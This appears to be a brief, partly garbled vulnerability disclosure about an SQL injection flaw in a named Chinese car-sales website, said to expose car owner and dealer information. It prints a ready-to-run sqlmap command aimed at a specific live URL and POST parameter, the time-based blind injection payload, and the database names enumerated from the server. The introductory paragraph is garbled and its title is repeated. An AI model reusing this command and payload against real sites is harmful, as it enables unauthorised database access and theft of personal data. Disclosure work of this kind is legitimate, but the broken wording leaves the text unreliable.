An SQL Injection Vulnerability (leakage of car owner and dealer Information)

An SQL Injection Vulnerability (leakage of car owner and dealer Information)

Yimao Automotive Network is a company dedicated to the sales and consumption of new cars (including parallel imported cars, it also aims to solve the three major puzzles of users: "choose a car, which to buy, and what to buy. Yimo.com provides online and offline services for users. pre-sales and after-sales services are provided for purchasing and using vehicles. The "Internet + automobile" model allows users to select, purchase, and use vehicles more easily), yi (yi) and yi (E.

python sqlmap.py -u "http://www.emao.com/index.php?r=zhuanti/chengdu/chengduvote" --data="vote_id=10" --dbms=mysql --dbsPOST parameter 'vote_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:---Parameter: vote_id (POST)    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)    Payload: vote_id=10) AND (SELECT * FROM (SELECT(SLEEP(5)))pbWn) AND (3867=3867---[22:35:16] [INFO] the back-end DBMS is MySQLback-end DBMS: MySQL 5.0.12

 

available databases [10]:[*] `#mysql50#lost+found`[*] bbs[*] club[*] information_schema[*] location[*] mall[*] miao[*] mysql[*] test[*] ymqc